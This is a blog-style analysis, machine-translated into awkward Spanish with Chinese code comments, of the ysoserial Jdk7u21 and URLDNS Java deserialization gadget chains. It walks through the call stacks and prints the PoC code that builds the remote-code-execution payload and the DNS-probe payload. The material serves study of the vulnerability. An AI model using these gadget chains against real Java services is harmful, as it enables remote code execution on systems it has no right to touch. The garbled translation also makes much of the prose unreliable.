análisis ysoserial [dos] 7u21 y URLDNS

7u21

7u21 en TemplatesImpl utilizarse para ejecutar el comando, combinado con proxies dinámicos, AnnotationInvocationHandler, HashSet se han convertido en la cadena gadget.

Vistazo a la pila de llamadas, el ysoserial la pila de llamadas para simplificar un poco

LinkedHashSet.readObject()
  LinkedHashSet.add()
      Proxy(Templates).equals()
        AnnotationInvocationHandler.invoke()
          AnnotationInvocationHandler.equalsImpl()
            Method.invoke()
              ...
                TemplatesImpl.getOutputProperties()
                  TemplatesImpl.newTransformer()
                    TemplatesImpl.getTransletInstance()
                      TemplatesImpl.defineTransletClasses()
                        对_bytecodes属性的值(实例的字节码)进行实例化
                          RCE

El cual en TemplatsImplel conocimiento de cómo llevar a cabo una especie de código malicioso puede hacer referencia a otro artículo en el análisis de CommonsCollections2, y no repetirlas aquí. Sólo sé esta llamada TemplatesImpl.getOutputProperties()puede ejecutar código malicioso.

Mira el ysoserial poc



public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);//返回构造好的TemplatesImpl实例,实例的_bytecodes属性的值是执行恶意语句类的字节码

    String zeroHashCodeStr = "f5a5a608";
    HashMap map = new HashMap();
    map.put(zeroHashCodeStr, "foo");

    InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);//map作为构造方法的第二个参数,map赋值给AnnotationInvocationHandler.membervalues属性

    Reflections.setFieldValue(tempHandler, "type", Templates.class);
    Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);//为AIH创建代理

    LinkedHashSet set = new LinkedHashSet(); //LinkedHashSet父类是HashSet
    set.add(templates);//TemplatesImpl实例
    set.add(proxy);//AnnotationInvocationHandler实例的代理,AnnotationInvocationHandler的membervalues是TemplatesImple实例

    Reflections.setFieldValue(templates, "_auxClasses", null);
    Reflections.setFieldValue(templates, "_class", null);

    map.put(zeroHashCodeStr, templates); //绑定到AnnotationInvocationHandler的那个map中的再添加一组键值对,value是TemplatesImpl实例。但是由于map中的第一组键值对的键也是zeroHashCodeStr,因此这里就是相当于把第一个键值对的value重新复赋值了。

    return set;//返回LinkedHashSet实例,用于序列化
}

En general, se devuelve una lista de LinkedHashSetejemplo en el que hay dos elementos, el primer elemento es _bytecodesatributo TemplatesImpl ejemplo malicioso del código de bytes de clases.

El segundo elemento es un AnnotationInvocationHandler instancia del proxy de esta instancia AnnotationInvocationHandler una instancia HashMap aprobada en en la inicialización, primero elemento clave es ejemplo TemplatesImpl HashMap.

Mira el constructor AnnotationInvocationHandler

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
    this.type = var1;
    this.memberValues = var2;
}

Esta instancia HashMap se asigna a la memberValuespropiedad.

Así análisis mucho PoC es completa, la siguiente depuración de los procesos de la cadena dispositivo de disparo de-serialización. Había vaga donde el análisis puede referirse a la anterior.

análisis de la cadena aparato

En primer lugar, como PoC devuelve una LinkedHashSetinstancia de una secuencia, de modo que la entrada se deserializa. Debido a que LinkedHashSetno se ha aplicado readObject()el método, por lo tanto, sigue a su padre: HashSet.readObject.

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    
    s.defaultReadObject();

    int capacity = s.readInt();
    float loadFactor = s.readFloat();
    map = (((HashSet)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));//创建一个新map

    // Read in size
    int size = s.readInt();

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        E e = (E) s.readObject();
        map.put(e, PRESENT);//将反序列化出来的元素put到map中
    }
}

Nos centramos principalmente sus operaciones en los elementos. Ejemplos pueden ser vistos después de la última de un bucle, cada elemento de la variable e se deserializa. Puesto que la PoC de construcción, LinkedHashSet que hemos añadido dos elementos, por lo que habrá el doble de la de bucle, el primero e es TemplatsImpl ejemplo, el segundo ejemplo es Proxy

Aquí los dos elementos después de las llamadas de deserialización map.put como el primer parámetro (), el seguimiento acerca de este método

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

Nuestra principal preocupación en este caso para el primer parámetro keyoperación, porque nuestra carga útil en casos TemplatsImple y proxy, sólo para keyhacer ciertas operaciones que puede desencadenar nuestra carga útil.

Podemos ver la primera llamada hash(key)para dar seguimiento a lo HashMap.hash ()

final int hash(Object k) {
    ...

    h ^= k.hashCode();
    
    h ^= (h >>> 20) ^ (h >>> 12);
    return h ^ (h >>> 7) ^ (h >>> 4);
}

Se puede encontrar aquí llamar al método hashCode () de la llave. Uno por uno que tener en cuenta dos claves: TemplatesImpl y Proxy cómo llamar hashCode () es.

Desde método TemplatesImpl no logrado hashCode (), por lo tanto llamar directamente al Object.hashCode clase base ().

public native int hashCode();

Este es un método nativo, que está escrito en la no-llamada código java interfaz Java, el hashCode () es probablemente la dirección de memoria calculada por el objeto obtenido. Vistazo a continuación Proxy.hashCode (), debido a la característica dinámica de proxy Proxy llamar a todos los métodos están unidos al proxy en lugar llamar al InvocationHandlermétodo Invoke (). revisión Proxy crear la cima, encuadernaciones InvocationHandlersomos ejemplo AnnotationInvocationHandler, por lo que aquí se volverá a la llamada AnnotationInvocationHandler.invoke(), para dar seguimiento después del descubrimiento, la llamada más bajo AnnotationInvocationHandler.hashCodeImple()método

private int hashCodeImpl() {
    int var1 = 0;

    Entry var3;
    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Entry)var2.next();
    }

    return var1;
}

Mire a su alrededor aquí sería más, de hecho, por la que atraviesa this.memberValues.entrySet()todas las claves en el derecho, para calcular la clave hash y los valora, todos regresan después del último valor hash juntos. Aquí está this.memberValuesatributos es que pasamos en la construcción de PoC esa instancia HashMap.

Proxy.hashCode () ha terminado, no hay nada operación peligrosa. Así que de nuevo al principio de HashMap.put () en.

public V put(K key, V value) {
    if (key == null)
        return putForNullKey(value);
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            V oldValue = e.value;
            e.value = value;
            e.recordAccess(this);
            return oldValue;
        }
    }

    modCount++;
    addEntry(hash, key, value, i);
    return null;
}

int hash = hash(key)Este paso ha sido el seguimiento de más, sigue leyendo. Se puede ver por condición de bucle table[i] != null, las asignaciones de mesa estaban aquí en la última llamada addEntry (), el aspecto de seguimiento

void addEntry(int hash, K key, V value, int bucketIndex) {
    if ((size >= threshold) && (null != table[bucketIndex])) {
        resize(2 * table.length);
        hash = (null != key) ? hash(key) : 0;
        bucketIndex = indexFor(hash, table.length);
    }

    createEntry(hash, key, value, bucketIndex);
}

void createEntry(int hash, K key, V value, int bucketIndex) {
    Entry<K,V> e = table[bucketIndex];
    table[bucketIndex] = new Entry<>(hash, key, value, e);
    size++;
}

Se puede encontrar utilizando esta clave, el valor y crea un hash Ejemplo de la entrada, y luego se agrega a la tabla matriz. Por encima de nuevo a método put (), ya que la mesa de ningún dato en el bucle, llamando así la addEntry Fin () directamente a la devolución.

, El método de la segunda vez que se pone () A continuación, que es un parámetro pasó Proxy ejemplo k. int hash = hash(key);Hemos tenido un seguimiento, sólo para mirar hacia abajo, a la de bucle. Desde la última mesa ya tiene datos, entrará aquí. Luego, en la condición if

for (Entry<K,V> e = table[i]; e != null; e = e.next) {
    Object k;
    if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
        ...

Aquí, por fin se se añade la variable correo a la matriz de tabla de objetos de entrada. e.hashEs el valor pasado en el hash de inicialización, la empatía e.keypasa cuando la inicialización es la clave. Si cumple aquí e.hash == hashy e.key != keycuando, se va a llamar key.equals(e.key).

Estas condiciones serán más adelante mirar atrás y decir, asumir que se cumplen estas condiciones. El resultado será una llamada key.equals(e.key), aquí keyestá Proxy, y e.keyes la última TemplatesImplinstancia. Además, debido a que el método se denomina Proxy saltar automáticamente a AnnotationInvocationHandler.invoke(). Síguelo

public Object invoke(Object var1, Method var2, Object[] var3) {
    String var4 = var2.getName();
    Class[] var5 = var2.getParameterTypes();
    if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
        return this.equalsImpl(var3[0]);
    } else {
        ...
    }
}

proxy de var1 instancia de clase, método var2 se llama, es equalsel método objeto, parámetro de llamada var3, es decir TemplatesImplejemplos. Tenga en cuenta que si la primera condición anterior, equalslos parámetros del método es Objectel tipo, el estado general determinación es positivo, por lo tanto var3[0]parámetro, llamadas this.equalsImpl(), seguimiento

private Boolean equalsImpl(Object var1) {
    if (var1 == this) {
        return true;
    } else if (!this.type.isInstance(var1)) {
        return false;
    } else {
        Method[] var2 = this.getMemberMethods();
        int var3 = var2.length;

        for(int var4 = 0; var4 < var3; ++var4) {
            Method var5 = var2[var4];
            String var6 = var5.getName();
            Object var7 = this.memberValues.get(var6);
            Object var8 = null;
            AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
            if (var9 != null) {
                var8 = var9.memberValues.get(var6);
            } else {
                try {
                    var8 = var5.invoke(var1);
                } catch (InvocationTargetException var11) {
                    return false;
                } catch (IllegalAccessException var12) {
                    throw new AssertionError(var12);
                }
            }

            if (!memberValueEquals(var7, var8)) {
                return false;
            }
        }

        return true;
    }
}

Var1 Aquí es TemplatesImplun ejemplo, pero this.typecuando se crea un poc ya definido

Reflections.setFieldValue(tempHandler, "type", Templates.class);

TemplatesImplImplementa la Templatesinterfaz, por lo que si la condición this.type.isInstance(var1)es verdadera, es decir, falsa no verdadera, y por lo tanto en el Else. Primera llamada this.getMemberMethods()para dar seguimiento a lo

private Method[] getMemberMethods() {
    if (this.memberMethods == null) {
        this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
            public Method[] run() {
                Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();//利用反射获取this.type类/接口中声明的所有方法
                AccessibleObject.setAccessible(var1, true);
                return var1;
            }
        });
    }

    return this.memberMethods;
}

Desde this.type es la Templatesinterfaz, por lo vistazo a esta interfaz declara qué método.

public interface Templates {

    Transformer newTransformer() throws TransformerConfigurationException;

    Properties getOutputProperties();
}

declara Sólo dos métodos: newTransformer (getOutputProperties) y ().

Volver a equalsImpl()regresar a la variable var2, adquirida this.type método declaró después. Luego entra en un bucle, atravesado por estos métodos. Primera asignación nombre del método a var6, seguimientothis.asOneOfUs()

private AnnotationInvocationHandler asOneOfUs(Object var1) {
    if (Proxy.isProxyClass(var1.getClass())) {
        ...
    }

    return null;
}

Debido var1 es TemplatesImplun ejemplo, no un Proxy, por lo tanto volver directamente nulo. Volver a la parte superior, debido a que el var9 es nulo, y por lo tanto en la sentencia else

var8 = var5.invoke(var1);

en el que el método es un dos var5 devuelto anteriormente, es decir la newTransformer () y getOutputProperties (), var1 son TemplatesImplejemplos. Aquí invocado por la reflexión TemplatesImplmétodo var5.

En este artículo se dijo al principio, la llamada TemplatesImpl.getOutputProperties()se llevan a TemplatesImpl._bytecodesvalor (código de bytes que contiene la ejecución de clase de código malicioso) se crea una instancia, por lo que aquí es un punto de vulnerabilidad gatillo.

de derivación hashCode

Hasta ahora vulnerabilidad ha sido exitosamente gatillo, de vuelta antes de que haya un punto no es completa método HashMap.put () que si las condiciones.

public V put(K key, V value) {
    ...
    int hash = hash(key);
    int i = indexFor(hash, table.length);
    for (Entry<K,V> e = table[i]; e != null; e = e.next) {
        Object k;
        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
            ...
}

Es aquí e.hash == hashy e.key != key. Dado que la clave es instancia de Proxy, e.key es TemplatesImpl ejemplo, y así cumplir con la segunda condición es buena, nota que la primera condición, la forma de garantizar que tanto el mismo hash?

e.hash es TemplatesImpl.hashCode(), este método no se define porque TemplatesImpl, por lo que la llamada es un método del objeto y, como se dijo antes, Object.hashCode()se calcula la dirección de memoria hash del objeto.

variable de hash es Proxy.hashCode () devuelve, es decir, antes de que el análisis de AnnotationInvocationHandler.hashCodeImple(), recapitulación

private int hashCodeImpl() {
    int var1 = 0;

    Entry var3;
    for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
        var3 = (Entry)var2.next();
    }

    return var1;
}

Aquí está this.memberValuesatributos es que pasamos en la construcción de PoC esa instancia HashMap, que es (new HashMap()).put("f5a5a608", templates), las plantillas son ejemplo TemplatesImpl. El hashCodeImple anterior () es la oración principal:

private int hashCodeImpl() {
    ...
        var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
    ...
    return var1;
}

Y la clave es "f5a5a608", el valor es TempIatesImpl ejemplo, y por lo tanto es equivalente a

127 * "f5a5a608".hashCode() ^ memberValueHashCode(teamplates)

Siga lo memberValueHashCode

    private static int memberValueHashCode(Object var0) {
        Class var1 = var0.getClass();
        if (!var1.isArray()) {
            return var0.hashCode();
            ...

Dado que los parámetros son TemplatesImpl objetos, volver directamente TemplatesImpl.hashCode(), como ya se ha dicho, no anula la hashCode TemplatesImpl y, llamando así de Object.hashCode () de acuerdo con la dirección de memoria de la generada objeto hash. Hasta ahora dos valores hash se han calculado sobre.

第一个hash:
TemplatesImpl实例.hashCode()

第二个hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl实例.hashCode()

TemplatesImpl dirección de memoria estos dos casos son en realidad la misma, ya que es la misma instancia TemplatesImpl en la construcción de PoC, utilice:

public Object getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);//TemplatesImpl实例

    String zeroHashCodeStr = "f5a5a608";

    HashMap map = new HashMap();
    map.put(zeroHashCodeStr, "foo");
    ...

    LinkedHashSet set = new LinkedHashSet();
    set.add(templates);//插入TemplatesImpl实例
    set.add(proxy);//Proxy代理

    ...

    map.put(zeroHashCodeStr, templates);//插入TemplatesImpl实例

    return set;
}

Desde un ejemplo es el mismo, por lo que la misma dirección de memoria, por lo que Object.hashCode()el rendimiento es el mismo hash. Volver a mirar a los dos de hash

第一个hash:
TemplatesImpl实例.hashCode()

第二个hash
127 * "f5a5a608".hashCode() ^ TemplatesImpl实例.hashCode()

Sólo tenemos que calcular "f5a5a608".hashCode(), y esto es un punto más interesante, directamente en el cálculo de depuración

El resultado es 0! Este valor parece ser un compañero a cabo mediante el desplazamiento de un bucle while. Así, desde la segunda almohadilla de arriba es 127 * 0, por lo tanto 0, por lo que los dos de hash se convierte en:

第一个hash:
TemplatesImpl实例.hashCode()

第二个hash
0 ^ TemplatesImpl实例.hashCode()

^ Es la exclusiva-OR operador o reglas diferentes se convierten en comparación binaria, lo mismo es 0, 1 es diferente. Debido a que la comparación en bits binarios 0 y sólo uno, por no decir el bit menos significativo y 0 si el número de la misma, el que fue de 0, en comparación con 1 en caso contrario, el resultado es el mismo, con la condición, sólo el bit menos significativo es 0 será el mismo que 0:00, que devuelve 0. Si el bit menos significativo es 1, y diferente de 0, devuelve 1, que es el canto tiene nada cambiado. Por lo que cualquier número y 0 XOR, los resultados siguen siendo el valor original, por lo que los dos anteriores de hash iguales.

Hasta el momento se cumplen varias condiciones, a través de la parte posterior de key.equals(k)la aplicación del código causado.

Así que todo el flujo de datos es, probablemente,

HashSet.readObject()
    HashMap.put()
        TemplatesImpl.hashCode()
    HashMap.put()
        Proxy.hashCode()
            AnnotationInvocationHandler.Invoke()
                AnnotationInvocationHandler.hashCodeImpl()
        Proxy.equals()
            AnnotationInvocationHandler.Invoke()
                AnnotationInvocationHandler.equalsImpl()
                    TemplatesImpl.getOutputProperties()
                        TemplatesImpl.newTransformer()
                            TemplatesImpl.getTransletInstance()
                                TemplatesImpl.defineTransletClasses()
                                    对_bytecodes属性的值(实例的字节码)进行实例化
                                        RCE

referencia

JDK7u21 análisis de vulnerabilidad deserialización
análisis carga útil ysoserial

URLDNS

Este gadget enviará deserializar una petición DNS, que depende sólo de la JDK, por lo tanto, muy amplio alcance, siempre y cuando no se debe deserializado de entrada capaz de jugar con este gadget.

Mira la pila de llamadas

Gadget Chain:
  HashMap.readObject()
    HashMap.putVal()
      HashMap.hash()
        URL.hashCode()

Aquí implica la clase URL, el hashCode()método invoca la subyacente URLStreamHandler.hashCode()enviar una petición DNS.

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    
    ...

Cuando deserializar, HashMap calculará automáticamente hash de clave, que se llama el método clave hashCode (), así que podemos usar HashMap ser activado URL.hashCode():

private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        
        ...
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);//
        }
    }
}

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

La descripción anterior probablemente puede escribir como poc

URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap();
URL u = new URL(null, url, handler);
ht.put(u, url);

return ht;

static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
                return null;
        }
        protected synchronized InetAddress getHostAddress(URL u) {
                return null;
        }
}

Aquí SilentURLStreamHandlerlas anulaciones de clase URLStreamHandler.getHostAddress(), por lo que no pueden enviar una petición DNS para asegurarse de que al compilar gadget.

Después volvimos poc encima de las clases de secuencia, y no envía una petición DNS deserialización. Sólo para encontrar la depuración, llamado deserialización URL.hashCode()debido a la ya presente hashCodey el valor no es -1, que devuelven directamente.

Así que tenemos que garantizar URL.hashCodees nulo o -1. Podemos utilizar una secuencia de reflexión sobre las propiedades para modificar la URL, de la siguiente manera

URL u = new URL(null, url, handler);
ht.put(u, url); 
Reflections.setFieldValue(u, "hashCode", -1); 

cadena de llamadas como sigue

HashMap.readObject() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()

Supongo que te gusta

Origin www.cnblogs.com/litlife/p/12596286.html
Recomendado
Clasificación